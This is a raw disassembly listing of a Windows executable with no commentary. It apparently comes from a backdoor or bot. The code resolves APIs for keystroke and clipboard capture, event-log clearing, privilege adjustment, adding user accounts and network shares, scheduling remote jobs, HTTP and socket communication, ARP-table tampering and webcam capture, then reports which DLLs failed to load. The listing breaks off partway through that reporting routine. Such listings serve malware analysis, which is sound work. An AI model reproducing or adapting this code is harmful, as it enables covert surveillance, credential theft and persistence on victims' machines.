		mov	dword_4D6718, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4D6638, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4D6658, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4D66BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4D66C4, ebx
		mov	dword_4D65A8, eax
		jz	short loc_4078D3
		cmp	dword_4D6674, ebx
		jz	short loc_4078D3
		cmp	dword_4D6608, ebx
		jz	short loc_4078D3
		cmp	dword_4D6718, ebx
		jz	short loc_4078D3
		cmp	dword_4D6638, ebx
		jz	short loc_4078D3
		cmp	dword_4D6658, ebx
		jz	short loc_4078D3
		cmp	dword_4D66BC, ebx
		jz	short loc_4078D3
		cmp	eax, ebx
		jnz	short loc_4078DD


loc_4078D3:				; CODE XREF: sub_4076E5+1B8j
					; sub_4076E5+1C0j ...
		mov	dword_4D672C, 1


loc_4078DD:				; CODE XREF: sub_4076E5+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4D6634, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4D653C, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4D6604, eax
		call	esi	; GetProcAddress
		cmp	dword_4D6634, ebx
		mov	dword_4D65EC, eax
		jz	short loc_40793A
		cmp	dword_4D653C, ebx
		jz	short loc_40793A
		cmp	dword_4D6604, ebx
		jz	short loc_40793A
		cmp	eax, ebx
		jnz	short loc_407944
		jmp	short loc_40793A
; ---------------------------------------------------------------------------


loc_40792F:				; CODE XREF: sub_4076E5+144j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6730, eax


loc_40793A:				; CODE XREF: sub_4076E5+232j
					; sub_4076E5+23Aj ...
		mov	dword_4D672C, 1


loc_407944:				; CODE XREF: sub_4076E5+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407AFD
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4D66D8, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4D661C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4D668C, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4D6568, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4D65CC, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4D6644, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4D65E8, eax
		call	esi	; GetProcAddress
		cmp	dword_4D66D8, ebx
		mov	dword_4D65F8, eax
		jz	short loc_4079ED
		cmp	dword_4D661C, ebx
		jz	short loc_4079ED
		cmp	dword_4D668C, ebx
		jz	short loc_4079ED
		cmp	dword_4D6568, ebx
		jz	short loc_4079ED
		cmp	dword_4D65CC, ebx
		jz	short loc_4079ED
		cmp	dword_4D6644, ebx
		jnz	short loc_4079F7


loc_4079ED:				; CODE XREF: sub_4076E5+2DEj
					; sub_4076E5+2E6j ...
		mov	dword_4D6734, 1


loc_4079F7:				; CODE XREF: sub_4076E5+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4D664C, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4D6624, eax
		call	esi	; GetProcAddress
		cmp	dword_4D664C, ebx
		mov	dword_4D66D4, eax
		jz	short loc_407A32
		cmp	dword_4D6624, ebx
		jz	short loc_407A32
		cmp	eax, ebx
		jnz	short loc_407A3C


loc_407A32:				; CODE XREF: sub_4076E5+33Fj
					; sub_4076E5+347j
		mov	dword_4D6734, 1


loc_407A3C:				; CODE XREF: sub_4076E5+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4D665C, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4D6544, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4D654C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4D65B0, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4D65B4, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4D6560, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4D6628, eax
		call	esi	; GetProcAddress
		cmp	dword_4D665C, ebx
		mov	dword_4D6550, eax
		jz	short loc_407AE0
		cmp	dword_4D6544, ebx
		jz	short loc_407AE0
		cmp	dword_4D654C, ebx
		jz	short loc_407AE0
		cmp	dword_4D65B0, ebx
		jz	short loc_407AE0
		cmp	dword_4D65B4, ebx
		jz	short loc_407AE0
		cmp	dword_4D6560, ebx
		jz	short loc_407AE0
		cmp	dword_4D6628, ebx
		jz	short loc_407AE0
		cmp	eax, ebx
		jnz	short loc_407AEA


loc_407AE0:				; CODE XREF: sub_4076E5+3C5j
					; sub_4076E5+3CDj ...
		mov	dword_4D6734, 1


loc_407AEA:				; CODE XREF: sub_4076E5+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4D6548, eax
		jnz	short loc_407B12
		jmp	short loc_407B08
; ---------------------------------------------------------------------------


loc_407AFD:				; CODE XREF: sub_4076E5+26Aj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6738, eax


loc_407B08:				; CODE XREF: sub_4076E5+416j
		mov	dword_4D6734, 1


loc_407B12:				; CODE XREF: sub_4076E5+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407BDE
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4D6654, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4D66AC, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4D66B4, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4D6670, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4D658C, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4D6538, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4D66B0, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4D6524, eax
		call	esi	; GetProcAddress
		cmp	dword_4D6654, ebx
		mov	dword_4D65C4, eax
		jz	short loc_407BE9
		cmp	dword_4D66AC, ebx
		jz	short loc_407BE9
		cmp	dword_4D66B4, ebx
		jz	short loc_407BE9
		cmp	dword_4D6670, ebx
		jz	short loc_407BE9
		cmp	dword_4D658C, ebx
		jz	short loc_407BE9
		cmp	dword_4D6538, ebx
		jz	short loc_407BE9
		cmp	dword_4D66B0, ebx
		jz	short loc_407BE9
		cmp	dword_4D6524, ebx
		jz	short loc_407BE9
		cmp	eax, ebx
		jnz	short loc_407BF3
		jmp	short loc_407BE9
; ---------------------------------------------------------------------------


loc_407BDE:				; CODE XREF: sub_4076E5+438j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6740, eax


loc_407BE9:				; CODE XREF: sub_4076E5+4B9j
					; sub_4076E5+4C1j ...
		mov	dword_4D673C, 1


loc_407BF3:				; CODE XREF: sub_4076E5+4F5j
		mov	ebp, dword_4E037C
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407EAF
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4D65D8, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4D670C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4D6578, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4D6554, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4D6614, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4D65FC, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4D65C0, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4D66E8, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4D6704, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4D6610, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4D66F4, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4D66A8, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4D6668, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4D6664, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4D6598, eax
		call	esi	; GetProcAddress
		push	offset aSend_0	; "send"
		push	edi
		mov	dword_4D6590, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4D66B8, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4D66CC, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4D6680, eax
		call	esi	; GetProcAddress
		mov	dword_4D6640, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4D6694, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4D6650, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4D6690, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4D66FC, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4D6648, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4D660C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4D667C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4D66EC, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4D6620, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4D65BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4D65D8, ebx
		mov	dword_4D6700, eax
		jz	loc_407EBA
		cmp	dword_4D670C, ebx
		jz	loc_407EBA
		cmp	dword_4D6578, ebx
		jz	loc_407EBA
		cmp	dword_4D6614, ebx
		jz	loc_407EBA
		cmp	dword_4D65FC, ebx
		jz	loc_407EBA
		cmp	dword_4D65C0, ebx
		jz	loc_407EBA
		cmp	dword_4D66E8, ebx
		jz	loc_407EBA
		cmp	dword_4D6704, ebx
		jz	loc_407EBA
		cmp	dword_4D6610, ebx
		jz	loc_407EBA
		cmp	dword_4D66F4, ebx
		jz	loc_407EBA
		cmp	dword_4D66A8, ebx
		jz	loc_407EBA
		cmp	dword_4D6668, ebx
		jz	loc_407EBA
		cmp	dword_4D6664, ebx
		jz	loc_407EBA
		cmp	dword_4D6598, ebx
		jz	short loc_407EBA
		cmp	dword_4D66B8, ebx
		jz	short loc_407EBA
		cmp	dword_4D66CC, ebx
		jz	short loc_407EBA
		cmp	dword_4D6680, ebx
		jz	short loc_407EBA
		cmp	dword_4D6640, ebx
		jz	short loc_407EBA
		cmp	dword_4D6694, ebx
		jz	short loc_407EBA
		cmp	dword_4D6650, ebx
		jz	short loc_407EBA
		cmp	dword_4D6690, ebx
		jz	short loc_407EBA
		cmp	dword_4D66FC, ebx
		jz	short loc_407EBA
		cmp	dword_4D6648, ebx
		jz	short loc_407EBA
		cmp	dword_4D660C, ebx
		jz	short loc_407EBA
		cmp	dword_4D667C, ebx
		jz	short loc_407EBA
		cmp	dword_4D66EC, ebx
		jz	short loc_407EBA
		cmp	dword_4D6620, ebx
		jz	short loc_407EBA
		cmp	eax, ebx
		jnz	short loc_407EC4
		jmp	short loc_407EBA
; ---------------------------------------------------------------------------


loc_407EAF:				; CODE XREF: sub_4076E5+51Fj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6748, eax


loc_407EBA:				; CODE XREF: sub_4076E5+6BEj
					; sub_4076E5+6CAj ...
		mov	dword_4D6744, 1


loc_407EC4:				; CODE XREF: sub_4076E5+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407FC9
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4D65A4, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4D652C, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4D6630, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4D65DC, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4D663C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4D6600, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4D656C, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4D6564, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4D6574, eax
		call	esi	; GetProcAddress
		cmp	dword_4D65A4, ebx
		mov	ecx, dword_4D6600
		mov	dword_4D669C, eax
		jz	short loc_407FA5
		cmp	dword_4D652C, ebx
		jz	short loc_407FA5
		cmp	dword_4D6630, ebx
		jz	short loc_407FA5
		cmp	dword_4D65DC, ebx
		jz	short loc_407FA5
		cmp	dword_4D663C, ebx
		jz	short loc_407FA5
		cmp	ecx, ebx
		jz	short loc_407FA5
		cmp	dword_4D656C, ebx
		jz	short loc_407FA5
		cmp	dword_4D6564, ebx
		jz	short loc_407FA5
		cmp	dword_4D6574, ebx
		jz	short loc_407FA5
		cmp	eax, ebx
		jnz	short loc_407FAF


loc_407FA5:				; CODE XREF: sub_4076E5+87Ej
					; sub_4076E5+886j ...
		mov	dword_4D674C, 1


loc_407FAF:				; CODE XREF: sub_4076E5+8BEj
		cmp	ecx, ebx
		jz	short loc_407FE4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4D6618, eax
		jnz	short loc_407FE4
		jmp	short loc_407FDE
; ---------------------------------------------------------------------------


loc_407FC9:				; CODE XREF: sub_4076E5+7EAj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6750, eax
		mov	dword_4D674C, 1


loc_407FDE:				; CODE XREF: sub_4076E5+8E2j
		mov	dword_4D6618, ebx


loc_407FE4:				; CODE XREF: sub_4076E5+8CCj
					; sub_4076E5+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40802E
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4D65F0, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4D671C, eax
		call	esi	; GetProcAddress
		cmp	dword_4D65F0, ebx
		mov	dword_4D6580, eax
		jz	short loc_408039
		cmp	dword_4D671C, ebx
		jz	short loc_408039
		cmp	eax, ebx
		jnz	short loc_408043
		jmp	short loc_408039
; ---------------------------------------------------------------------------


loc_40802E:				; CODE XREF: sub_4076E5+90Aj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6758, eax


loc_408039:				; CODE XREF: sub_4076E5+939j
					; sub_4076E5+941j ...
		mov	dword_4D6754, 1


loc_408043:				; CODE XREF: sub_4076E5+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40814A
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4D655C, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4D6534, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4D65AC, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4D65E0, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4D66F8, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4D6594, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4D6540, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4D6530, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4D65C8, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4D66C0, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4D6678, eax
		call	esi	; GetProcAddress
		cmp	dword_4D655C, ebx
		mov	dword_4D659C, eax
		jz	short loc_408155
		cmp	dword_4D6534, ebx
		jz	short loc_408155
		cmp	dword_4D65AC, ebx
		jz	short loc_408155
		cmp	dword_4D65E0, ebx
		jz	short loc_408155
		cmp	dword_4D66F8, ebx
		jz	short loc_408155
		cmp	dword_4D6594, ebx
		jz	short loc_408155
		cmp	dword_4D6540, ebx
		jz	short loc_408155
		cmp	dword_4D6530, ebx
		jz	short loc_408155
		cmp	dword_4D65C8, ebx
		jz	short loc_408155
		cmp	dword_4D66C0, ebx
		jz	short loc_408155
		cmp	dword_4D6678, ebx
		jnz	short loc_40815F
		jmp	short loc_408155
; ---------------------------------------------------------------------------


loc_40814A:				; CODE XREF: sub_4076E5+969j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6760, eax


loc_408155:				; CODE XREF: sub_4076E5+A11j
					; sub_4076E5+A19j ...
		mov	dword_4D675C, 1


loc_40815F:				; CODE XREF: sub_4076E5+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408194
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4D6584, eax
		call	esi	; GetProcAddress
		cmp	dword_4D6584, ebx
		mov	dword_4D6660, eax
		jz	short loc_40819F
		cmp	eax, ebx
		jnz	short loc_4081A9
		jmp	short loc_40819F
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_4076E5+A85j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6768, eax


loc_40819F:				; CODE XREF: sub_4076E5+AA7j
					; sub_4076E5+AADj
		mov	dword_4D6764, 1


loc_4081A9:				; CODE XREF: sub_4076E5+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4081DE
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4D66E4, eax
		call	esi	; GetProcAddress
		cmp	dword_4D66E4, ebx
		mov	dword_4D66E0, eax
		jz	short loc_4081E9
		cmp	eax, ebx
		jnz	short loc_4081F3
		jmp	short loc_4081E9
; ---------------------------------------------------------------------------


loc_4081DE:				; CODE XREF: sub_4076E5+ACFj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6770, eax


loc_4081E9:				; CODE XREF: sub_4076E5+AF1j
					; sub_4076E5+AF7j
		mov	dword_4D676C, 1


loc_4081F3:				; CODE XREF: sub_4076E5+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408252
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4D6710, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4D6708, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4D66D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4D6710, ebx
		mov	dword_4D65A0, eax
		jz	short loc_40825D
		cmp	dword_4D6708, ebx
		jz	short loc_40825D
		cmp	dword_4D66D0, ebx
		jz	short loc_40825D
		cmp	eax, ebx
		jnz	short loc_408267
		jmp	short loc_40825D
; ---------------------------------------------------------------------------


loc_408252:				; CODE XREF: sub_4076E5+B19j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6778, eax


loc_40825D:				; CODE XREF: sub_4076E5+B55j
					; sub_4076E5+B5Dj ...
		mov	dword_4D6774, 1


loc_408267:				; CODE XREF: sub_4076E5+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40829C
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4D65D4, eax
		call	esi	; GetProcAddress
		cmp	dword_4D65D4, ebx
		mov	dword_4D66DC, eax
		jz	short loc_4082A7
		cmp	eax, ebx
		jnz	short loc_4082B1
		jmp	short loc_4082A7
; ---------------------------------------------------------------------------


loc_40829C:				; CODE XREF: sub_4076E5+B8Dj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6780, eax


loc_4082A7:				; CODE XREF: sub_4076E5+BAFj
					; sub_4076E5+BB5j
		mov	dword_4D677C, 1


loc_4082B1:				; CODE XREF: sub_4076E5+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40833A
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4D66A4, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4D66F0, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4D662C, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4D65E4, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4D6684, eax
		call	esi	; GetProcAddress
		cmp	dword_4D66A4, ebx
		mov	dword_4D65F4, eax
		jz	short loc_408345
		cmp	dword_4D66F0, ebx
		jz	short loc_408345
		cmp	dword_4D662C, ebx
		jz	short loc_408345
		cmp	dword_4D65E4, ebx
		jz	short loc_408345
		cmp	dword_4D6684, ebx
		jz	short loc_408345
		cmp	eax, ebx
		jnz	short loc_40834F
		jmp	short loc_408345
; ---------------------------------------------------------------------------


loc_40833A:				; CODE XREF: sub_4076E5+BD7j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6788, eax


loc_408345:				; CODE XREF: sub_4076E5+C2Dj
					; sub_4076E5+C35j ...
		mov	dword_4D6784, 1


loc_40834F:				; CODE XREF: sub_4076E5+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408384
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4D65B8, eax
		call	esi	; GetProcAddress
		cmp	dword_4D65B8, ebx
		mov	dword_4D6698, eax
		jz	short loc_40838F
		cmp	eax, ebx
		jnz	short loc_408399
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_408384:				; CODE XREF: sub_4076E5+C75j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	dword_4D6790, eax


loc_40838F:				; CODE XREF: sub_4076E5+C97j
					; sub_4076E5+C9Dj
		mov	dword_4D678C, 1


loc_408399:				; CODE XREF: sub_4076E5+C9Bj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_4076E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083A1	proc near		; CODE XREF: sub_401C87+1FF9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4D6724, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4083E9
		push	dword_4D6728
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_4083E9:				; CODE XREF: sub_4083A1+1Aj
		cmp	dword_4D672C, esi
		jz	short loc_40841D
		push	dword_4D6730
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_40841D:				; CODE XREF: sub_4083A1+4Ej
		cmp	dword_4D6734, esi
		jz	short loc_408451
		push	dword_4D6738
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_408451:				; CODE XREF: sub_4083A1+82j
		cmp	dword_4D673C, esi
		jz	short loc_408485
		push	dword_4D6740
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
